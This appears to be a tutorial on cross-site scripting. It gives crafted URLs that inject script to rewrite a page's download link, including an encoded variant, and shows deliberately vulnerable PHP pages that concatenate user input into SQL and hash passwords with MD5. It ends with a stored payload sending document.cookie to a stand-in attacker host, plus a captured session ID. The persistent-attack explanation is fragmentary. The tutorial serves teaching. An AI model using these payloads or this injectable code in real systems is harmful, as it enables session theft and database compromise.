XSS stands for Cross Site Scripting.
XSS is very similar to SQL-Injection. In SQL-Injection we exploited the vulnerability by injecting SQL Queries as user inputs. In XSS, we inject code (basically client side scripting) to the remote server.
Types of Cross Site Scripting
XSS attacks are broadly classified into 2 types:
Non-Persistent
Persistent
1. Non-Persistent XSS Attack
In case of Non-Persistent attack, it requires a user to visit the specially crafted link by the attacker. When the user visit the link, the crafted code will get executed by the user’s browser. Let us understand this attack better with an example.Example for Non-Persistent XSS
index.php:
<?php $name = $_GET['name']; echo "Welcome $name<br>"; echo "<a href="http://xssattackexamples.com/">Click to Download</a>"; ?>Example 1:
Now the attacker will craft an URL as follows and send it to the victim:
index.php?name=guest<script>alert('attacked')</script>
index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>
index.php?name=<script>var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com"</script>
index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e
index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>
2. Persistent XSS Attack
- When “Admin” log-in, he can see the list of usernames.
- When “Normal” users log-in, they can only update their display name.
<?php $Host= '192.168.1.8'; $Dbname= 'app'; $User= 'yyy'; $Password= 'xxx'; $Schema = 'test'; $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password"; /* Connect with database asking for a new connection*/ $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW); /* Error checking the connection string */ if (!$Connect) { echo "Database Connection Failure"; exit; } $query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';"; $result=pg_query($Connect,$query); $row=pg_fetch_array($result,NULL,PGSQL_ASSOC); $user_pass = md5($_POST['pass_word']); $user_name = $row['user_name']; if(strcmp($user_pass,$row['password'])!=0) { echo "Login failed"; } else { # Start the session session_start(); $_SESSION['USER_NAME'] = $user_name; echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>"; } ?>
<?php session_start(); if(!$_SESSION['USER_NAME']) { echo "Need to login"; } else { $Host= '192.168.1.8'; $Dbname= 'app'; $User= 'yyy'; $Password= 'xxx'; $Schema = 'test'; $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password"; $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW); if($_SERVER['REQUEST_METHOD'] == "POST") { $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';"; pg_query($Connect,$query); echo "Update Success"; } else { if(strcmp($_SESSION['USER_NAME'],'admin')==0) { echo "Welcome admin<br><hr>"; echo "List of user's are<br>"; $query = "select display_name from $Schema.members where user_name!='admin'"; $res = pg_query($Connect,$query); while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) { echo "$row[display_name]<br>"; } } else { echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">"; echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">"; echo "<input type=\"submit\" value=\"Update\">"; } } } ?>
<a href=# onclick=\"document.location=\'http://not-real-xssattackexamples.com/xss.php?c=\'+escape\(document.cookie\)\;\">My Name</a>
xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3